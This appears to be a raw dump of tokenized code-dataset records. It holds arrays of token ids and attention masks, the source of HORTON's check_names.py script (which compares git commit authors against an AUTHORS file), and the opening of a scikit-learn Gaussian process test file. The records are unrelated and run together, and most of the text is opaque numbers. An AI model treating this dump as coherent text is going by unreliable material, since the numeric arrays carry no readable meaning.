304, 272, 543, 4156, 14, 1782, 8, 277, 14, 1782, 63, 5038, 281, 304, 489, 14870, 63, 27583, 275, 3805, 63, 7588, 63, 1483, 14, 9492, 63, 1593, 8, 881, 666, 12, 881, 291, 14, 2350, 63, 3214, 12, 881, 291, 14, 2350, 63, 22611, 12, 881, 1390, 63, 2415, 29, 277, 14, 1162, 14, 1507, 63, 2415, 9, 2541, 1072, 275, 1625, 63, 1483, 14, 5224, 8, 881, 14870, 63, 27583, 12, 881, 359, 16, 12, 291, 14, 1162, 14, 1507, 63, 2415, 446, 291, 14, 1162, 14, 1507, 63, 16554, 446, 413, 467, 881, 5243, 17, 12, 291, 14, 1162, 14, 1507, 63, 16554, 566, 2541, 372, 1072, 421, 199, 533, 1804, 5968, 872, 559, 1356, 1378, 1451, 5003, 8, 27758, 63, 1897, 14, 21568, 14601, 5003, 304, 523, 408, 33, 4045, 626, 20991, 1956, 11620, 12985, 1356, 6326, 641, 2849, 4534, 465, 666, 1041, 819, 347, 485, 4640, 63, 2936, 8, 277, 12, 1862, 12, 1011, 958, 304, 272, 543, 4156, 14, 1782, 8, 277, 14, 1782, 63, 5038, 281, 304, 2541, 291, 14, 2350, 63, 3214, 275, 1750, 63, 2645, 14, 362, 63, 1975, 8, 881, 536, 534, 2350, 63, 3214, 4970, 68, 7, 450, 291, 14, 1897, 63, 1507, 12, 881, 2215, 1524, 1162, 14, 1507, 63, 2415, 12, 1862, 14, 1507, 63, 3179, 63, 529, 63, 932, 467, 881, 11130, 29, 826, 63, 1483, 14, 19347, 63, 3302, 63, 6498, 8, 1598, 4615, 29, 1162, 14, 3463, 63, 826, 63, 3670, 12, 28052, 29, 1162, 14, 3463, 63, 826, 63, 1516, 430, 2541, 291, 14, 2350, 63, 22611, 275, 1750, 63, 2645, 14, 362, 63, 1975, 8, 881, 536, 534, 2350, 63, 22611, 4970, 68, 7, 450, 291, 14, 1897, 63, 1507, 12, 881, 2215, 1524, 1162, 14, 1507, 63, 2415, 467, 881, 11130, 29, 826, 63, 1483, 14, 19347, 63, 3302, 63, 6498, 8, 1598, 4615, 29, 1162, 14, 3463, 63, 826, 63, 3670, 12, 28052, 29, 1162, 14, 3463, 63, 826, 63, 1516, 430, 819, 347, 636, 826, 721, 277, 12, 1862, 12, 4045, 63, 1507, 12, 2243, 63, 5038, 281, 12, 2049, 627, 589, 12, 1011, 958, 304, 272, 1613, 8, 43, 5968, 872, 559, 1356, 1378, 1451, 5003, 12, 291, 2843, 826, 721, 267, 1862, 12, 4045, 63, 1507, 12, 2243, 63, 5038, 281, 12, 627, 589, 12, 1011, 958, 9, 339, 291, 423, 7588, 63, 1483, 275, 6093, 63, 1483, 14, 6200, 342, 819, 327, 4287, 26, 3507, 29, 8618 ]
[ 1898, 7800, 710, 9134, 6642, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 11148, 199, 624, 52, 264, 1956, 282, 14692, 3123, 465, 282, 6025, 13315, 4045, 14, 199, 199, 33, 14692, 3123, 21484, 6181, 4534, 465, 1324, 436, 2529, 314, 12224, 199, 1618, 12276, 316, 1924, 11747, 465, 1072, 14, 221, 710, 14870, 23088, 314, 3123, 365, 12537, 461, 199, 12897, 1771, 13535, 14, 199, 624, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 504, 636, 2443, 363, 492, 4629, 199, 504, 636, 2443, 363, 492, 870, 63, 1593, 199, 199, 504, 3228, 14, 2828, 14, 3128, 63, 25736, 14, 27758, 14, 1483, 492, 3805, 63, 7588, 63, 1483, 199, 504, 3228, 14, 2828, 14, 3128, 63, 25736, 14, 27758, 14, 1548, 492, 7188, 14601, 63, 1897, 199, 504, 3228, 14, 2828, 14, 3128, 63, 25736, 14, 27758, 14, 1548, 14, 1483, 492, 6093, 63, 1483, 199, 504, 3228, 14, 1548, 14, 4857, 492, 4156, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1625, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 4205, 63, 1483, 199, 504, 3228, 14, 1548, 14, 1483, 492, 1750, 63, 2645, 421, 199, 533, 1487, 559, 1356, 1378, 1451, 5003, 8, 27758, 63, 1897, 14, 21568, 14601, 5003, 304, 523, 408, 33, 4045, 626, 20991, 1956, 11620, 12985, 1356, 465, 666, 1041, 819, 347, 485, 4640, 63, 2936, 8, 277, 12, 1862, 12, 1011, 958, 304, 272, 543, 4156, 14, 1782, 8, 277, 14, 1782, 63, 5038, 281, 304, 2541, 291, 14, 2350, 63, 3214, 275, 1750, 63, 2645, 14, 362, 63, 1975, 8, 881, 536, 534, 2350, 63, 3214, 4970, 68, 7, 450, 291, 14, 1897, 63, 1507, 12, 881, 2215, 1524, 1162, 14, 1507, 63, 2415, 12, 1862, 14, 1507, 63, 3179, 467, 881, 11130, 29, 826, 63, 1483, 14, 19347, 63, 3302, 63, 6498, 8, 1598, 4615, 29, 1162, 14, 3463, 63, 826, 63, 3670, 12, 28052, 29, 1162, 14, 3463, 63, 826, 63, 1516, 430, 2541, 291, 14, 2350, 63, 22611, 275, 1750, 63, 2645, 14, 362, 63, 1975, 8, 881, 536, 534, 2350, 63, 22611, 4970, 68, 7, 450, 291, 14, 1897, 63, 1507, 12, 881, 2215, 1524, 1162, 14, 1507, 63, 2415, 467, 881, 11130, 29, 826, 63, 1483, 14, 19347, 63, 3302, 63, 6498, 8, 1598, 4615, 29, 1162, 14, 3463, 63, 826, 63, 3670, 12, 28052, 29, 1162, 14, 3463, 63, 826, 63, 1516, 430, 819, 347, 636, 826, 721, 277, 12, 1862, 12, 4045, 63, 1507, 12, 2243, 63, 5038, 281, 12, 2049, 627, 589, 12, 1011, 958, 304, 272, 1613, 8, 872, 559, 1356, 1378, 1451, 5003, 12, 291, 2843, 826, 721, 267, 1862, 12, 4045, 63, 1507, 12, 2243, 63, 5038, 281, 12, 627, 589, 12, 1011, 958, 9, 339, 291, 423, 7588, 63, 1483, 275, 6093, 63, 1483, 14, 6200, 342, 819, 347, 17353, 63, 2180, 8, 277, 12, 666, 304, 272, 543, 4156, 14, 1782, 8, 277, 14, 1782, 63, 5038, 281, 304, 489, 14870, 63, 27583, 275, 3805, 63, 7588, 63, 1483, 14, 9492, 63, 1593, 8, 881, 666, 12, 881, 291, 14, 2350, 63, 3214, 12, 881, 291, 14, 2350, 63, 22611, 12, 881, 1390, 63, 2415, 29, 277, 14, 1162, 14, 1507, 63, 2415, 9, 2541, 1072, 275, 1625, 63, 1483, 14, 5224, 8, 881, 14870, 63, 27583, 12, 881, 359, 16, 12, 291, 14, 1162, 14, 1507, 63, 2415, 446, 291, 14, 1162, 14, 1507, 63, 16554, 446, 413, 467, 881, 5243, 17, 12, 291, 14, 1162, 14, 1507, 63, 16554, 566, 2541, 372, 1072, 421, 199, 533, 1804, 5968, 872, 559, 1356, 1378, 1451, 5003, 8, 27758, 63, 1897, 14, 21568, 14601, 5003, 304, 523, 408, 33, 4045, 626, 20991, 1956, 11620, 12985, 1356, 6326, 641, 2849, 4534, 465, 666, 1041, 819, 347, 485, 4640, 63, 2936, 8, 277, 12, 1862, 12, 1011, 958, 304, 272, 543, 4156, 14, 1782, 8, 277, 14, 1782, 63, 5038, 281, 304, 2541, 291, 14, 2350, 63, 3214, 275, 1750, 63, 2645, 14, 362, 63, 1975, 8, 881, 536, 534, 2350, 63, 3214, 4970, 68, 7, 450, 291, 14, 1897, 63, 1507, 12, 881, 2215, 1524, 1162, 14, 1507, 63, 2415, 12, 1862, 14, 1507, 63, 3179, 63, 529, 63, 932, 467, 881, 11130, 29, 826, 63, 1483, 14, 19347, 63, 3302, 63, 6498, 8, 1598, 4615, 29, 1162, 14, 3463, 63, 826, 63, 3670, 12, 28052, 29, 1162, 14, 3463, 63, 826, 63, 1516, 430, 2541, 291, 14, 2350, 63, 22611, 275, 1750, 63, 2645, 14, 362, 63, 1975, 8, 881, 536, 534, 2350, 63, 22611, 4970, 68, 7, 450, 291, 14, 1897, 63, 1507, 12, 881, 2215, 1524, 1162, 14, 1507, 63, 2415, 467, 881, 11130, 29, 826, 63, 1483, 14, 19347, 63, 3302, 63, 6498, 8, 1598, 4615, 29, 1162, 14, 3463, 63, 826, 63, 3670, 12, 28052, 29, 1162, 14, 3463, 63, 826, 63, 1516, 430, 819, 347, 636, 826, 721, 277, 12, 1862, 12, 4045, 63, 1507, 12, 2243, 63, 5038, 281, 12, 2049, 627, 589, 12, 1011, 958, 304, 272, 1613, 8, 43, 5968, 872, 559, 1356, 1378, 1451, 5003, 12, 291, 2843, 826, 721, 267, 1862, 12, 4045, 63, 1507, 12, 2243, 63, 5038, 281, 12, 627, 589, 12, 1011, 958, 9, 339, 291, 423, 7588, 63, 1483, 275, 6093, 63, 1483, 14, 6200, 342, 819, 327, 4287, 26, 3507, 29, 8618, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
QuantumElephant/horton
tools/qa/check_names.py
4
2490
#!/usr/bin/env python # -*- coding: utf-8 -*- # HORTON: Helpful Open-source Research TOol for N-fermion systems. # Copyright (C) 2011-2017 The HORTON Development Team # # This file is part of HORTON. # # HORTON is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 3 # of the License, or (at your option) any later version. # # HORTON is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, see <http://www.gnu.org/licenses/> # # -- """Script that checks if author names were set correctly in commits. This script ignores any command-line arguments. Just don't provide any. This script assumes an AUTHORS file is present in the current directory. """ import subprocess import sys def check_names(key, kind): """A generic function to check author/committer names. Parameters ---------- key : str A key used for formatting the output of git log. Should be 'a' or 'c'. kind : str Either 'authors' or 'committers'. Should be consistent with the key argument. """ # Get a list of authors/committer names for every commit. command = ['git', 'log', '--format=%%%sN <%%%sE>' % (key, key)] names = subprocess.check_output(command).split('\n')[:-1] # Turn that list into a set to remove duplicates. names = set(names) # Make sure the names are in the AUTHORS file. with open('AUTHORS', 'r') as f: for line in f: # chop of the new linefeed character, and # remove the author from the names set, if it exist. names.discard(line[:-1]) # Report the names that were not in the AUTHORS file. if len(names) != 0: print 'UNKNOWN %s:' % kind for name in sorted(names): print ' ', name return len(names) == 0 def main(): """Check all names against AUTHORS and quit with exit code 1 if an error is found.""" print 'Checking author and committer names.'.upper() pass_a = check_names('a', 'authors') pass_c = check_names('c', 'committers') if not (pass_a and pass_c): sys.exit(1) if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 869, 2596, 615, 26, 15456, 1893, 3232, 13, 1365, 26993, 2296, 393, 367, 653, 13, 2412, 77, 1636, 10460, 14, 199, 3, 1898, 334, 35, 9, 7760, 13, 10680, 710, 869, 2596, 615, 15290, 11682, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 869, 2596, 615, 14, 199, 3, 199, 3, 869, 2596, 615, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 199, 3, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 1015, 650, 199, 3, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 869, 2596, 615, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 27, 340, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 3133, 199, 3, 199, 3, 1553, 199, 624, 5229, 626, 5920, 340, 4132, 1561, 4898, 663, 6657, 315, 20835, 14, 199, 199, 2765, 2884, 24010, 1263, 1414, 13, 604, 2368, 14, 13870, 2793, 1133, 5647, 1263, 14, 199, 2765, 2884, 15194, 376, 10610, 570, 365, 3451, 315, 314, 1453, 2082, 14, 199, 624, 421, 199, 646, 3873, 199, 646, 984, 421, 199, 318, 1104, 63, 1247, 8, 498, 12, 4928, 304, 272, 408, 33, 7809, 805, 370, 1104, 4132, 15, 3543, 351, 1561, 14, 339, 3897, 272, 4143, 272, 790, 520, 620, 881, 437, 790, 1202, 367, 10803, 314, 1072, 402, 6135, 943, 14, 7719, 506, 283, 65, 7, 503, 283, 67, 1370, 272, 4928, 520, 620, 1779, 13083, 283, 8149, 7, 503, 283, 3543, 878, 1370, 7719, 506, 12137, 543, 314, 790, 1423, 14, 272, 408, 272, 327, 2372, 282, 769, 402, 11462, 15, 3543, 351, 1561, 367, 4036, 5532, 14, 272, 1414, 275, 788, 3187, 297, 283, 793, 297, 2850, 908, 2458, 8530, 83, 46, 665, 8530, 5, 83, 37, 3524, 450, 334, 498, 12, 790, 1874, 272, 1561, 275, 3873, 14, 1074, 63, 1199, 8, 1531, 680, 1294, 2258, 78, 358, 4439, 17, 61, 339, 327, 16147, 626, 769, 1901, 282, 663, 370, 2813, 15755, 14, 272, 1561, 275, 663, 8, 1247, 9, 339, 327, 4155, 3238, 314, 1561, 787, 315, 314, 10610, 570, 14, 272, 543, 1551, 360, 5580, 4149, 297, 283, 82, 358, 465, 289, 26, 267, 367, 1004, 315, 289, 26, 288, 327, 32401, 402, 314, 892, 1004, 3871, 4528, 12, 436, 288, 327, 2813, 314, 4132, 687, 314, 1561, 663, 12, 340, 652, 2187, 14, 288, 1561, 14, 14394, 8, 604, 4439, 17, 566, 272, 327, 11774, 314, 1561, 626, 4898, 440, 315, 314, 10610, 570, 14, 272, 340, 822, 8, 1247, 9, 1137, 378, 26, 267, 870, 283, 11588, 450, 83, 4881, 450, 4928, 267, 367, 536, 315, 3355, 8, 1247, 304, 288, 870, 283, 257, 1656, 536, 272, 372, 822, 8, 1247, 9, 508, 378, 421, 199, 318, 2446, 837, 272, 408, 1799, 1006, 1561, 6169, 10610, 436, 17242, 543, 4458, 1233, 413, 340, 376, 1125, 365, 1911, 1041, 272, 870, 283, 14740, 4132, 436, 5532, 351, 1561, 17374, 4142, 342, 272, 986, 63, 65, 275, 1104, 63, 1247, 360, 65, 297, 283, 8149, 358, 272, 986, 63, 67, 275, 1104, 63, 1247, 360, 67, 297, 283, 3543, 878, 358, 272, 340, 440, 334, 1529, 63, 65, 436, 986, 63, 67, 304, 267, 984, 14, 2224, 8, 17, 9, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2446, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 869, 2596, 615, 26, 15456, 1893, 3232, 13, 1365, 26993, 2296, 393, 367, 653, 13, 2412, 77, 1636, 10460, 14, 199, 3, 1898, 334, 35, 9, 7760, 13, 10680, 710, 869, 2596, 615, 15290, 11682, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 869, 2596, 615, 14, 199, 3, 199, 3, 869, 2596, 615, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 199, 3, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 1015, 650, 199, 3, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 869, 2596, 615, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 27, 340, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 3133, 199, 3, 199, 3, 1553, 199, 624, 5229, 626, 5920, 340, 4132, 1561, 4898, 663, 6657, 315, 20835, 14, 199, 199, 2765, 2884, 24010, 1263, 1414, 13, 604, 2368, 14, 13870, 2793, 1133, 5647, 1263, 14, 199, 2765, 2884, 15194, 376, 10610, 570, 365, 3451, 315, 314, 1453, 2082, 14, 199, 624, 421, 199, 646, 3873, 199, 646, 984, 421, 199, 318, 1104, 63, 1247, 8, 498, 12, 4928, 304, 272, 408, 33, 7809, 805, 370, 1104, 4132, 15, 3543, 351, 1561, 14, 339, 3897, 272, 4143, 272, 790, 520, 620, 881, 437, 790, 1202, 367, 10803, 314, 1072, 402, 6135, 943, 14, 7719, 506, 283, 65, 7, 503, 283, 67, 1370, 272, 4928, 520, 620, 1779, 13083, 283, 8149, 7, 503, 283, 3543, 878, 1370, 7719, 506, 12137, 543, 314, 790, 1423, 14, 272, 408, 272, 327, 2372, 282, 769, 402, 11462, 15, 3543, 351, 1561, 367, 4036, 5532, 14, 272, 1414, 275, 788, 3187, 297, 283, 793, 297, 2850, 908, 2458, 8530, 83, 46, 665, 8530, 5, 83, 37, 3524, 450, 334, 498, 12, 790, 1874, 272, 1561, 275, 3873, 14, 1074, 63, 1199, 8, 1531, 680, 1294, 2258, 78, 358, 4439, 17, 61, 339, 327, 16147, 626, 769, 1901, 282, 663, 370, 2813, 15755, 14, 272, 1561, 275, 663, 8, 1247, 9, 339, 327, 4155, 3238, 314, 1561, 787, 315, 314, 10610, 570, 14, 272, 543, 1551, 360, 5580, 4149, 297, 283, 82, 358, 465, 289, 26, 267, 367, 1004, 315, 289, 26, 288, 327, 32401, 402, 314, 892, 1004, 3871, 4528, 12, 436, 288, 327, 2813, 314, 4132, 687, 314, 1561, 663, 12, 340, 652, 2187, 14, 288, 1561, 14, 14394, 8, 604, 4439, 17, 566, 272, 327, 11774, 314, 1561, 626, 4898, 440, 315, 314, 10610, 570, 14, 272, 340, 822, 8, 1247, 9, 1137, 378, 26, 267, 870, 283, 11588, 450, 83, 4881, 450, 4928, 267, 367, 536, 315, 3355, 8, 1247, 304, 288, 870, 283, 257, 1656, 536, 272, 372, 822, 8, 1247, 9, 508, 378, 421, 199, 318, 2446, 837, 272, 408, 1799, 1006, 1561, 6169, 10610, 436, 17242, 543, 4458, 1233, 413, 340, 376, 1125, 365, 1911, 1041, 272, 870, 283, 14740, 4132, 436, 5532, 351, 1561, 17374, 4142, 342, 272, 986, 63, 65, 275, 1104, 63, 1247, 360, 65, 297, 283, 8149, 358, 272, 986, 63, 67, 275, 1104, 63, 1247, 360, 67, 297, 283, 3543, 878, 358, 272, 340, 440, 334, 1529, 63, 65, 436, 986, 63, 67, 304, 267, 984, 14, 2224, 8, 17, 9, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2446, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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en <jhm@informatik.uni-bremen.de> # Licence: BSD 3 clause import numpy as np from scipy.optimize import approx_fprime from sklearn.gaussian_process import GaussianProcessRegressor from sklearn.gaussian_process.kernels \ import RBF, ConstantKernel as C, WhiteKernel from sklearn.utils.testing \ import (assert_true, assert_greater, assert_array_less, assert_almost_equal, assert_equal) def f(x): return x * np.sin(x) X = np.atleast_2d([1., 3., 5., 6., 7., 8.]).T X2 = np.atleast_2d([2., 4., 5.5, 6.5, 7.5]).T y = f(X).ravel() fixed_kernel = RBF(length_scale=1.0, length_scale_bounds="fixed") kernels = [RBF(length_scale=1.0), fixed_kernel, RBF(length_scale=1.0, length_scale_bounds=(1e-3, 1e3)), C(1.0, (1e-2, 1e2)) * RBF(length_scale=1.0, length_scale_bounds=(1e-3, 1e3)), C(1.0, (1e-2, 1e2)) * RBF(length_scale=1.0, length_scale_bounds=(1e-3, 1e3)) + C(1e-5, (1e-5, 1e2)), C(0.1, (1e-2, 1e2)) * RBF(length_scale=1.0, length_scale_bounds=(1e-3, 1e3)) + C(1e-5, (1e-5, 1e2))] def test_gpr_interpolation(): """Test the interpolating property for different kernels.""" for kernel in kernels: gpr = GaussianProcessRegressor(kernel=kernel).fit(X, y) y_pred, y_cov = gpr.predict(X, return_cov=True) assert_true(np.allclose(y_pred, y)) assert_true(np.allclose(np.diag(y_cov), 0.)) def test_lml_improving(): """ Test that hyperparameter-tuning improves log-marginal likelihood. """ for kernel in kernels: if kernel == fixed_kernel: continue gpr = 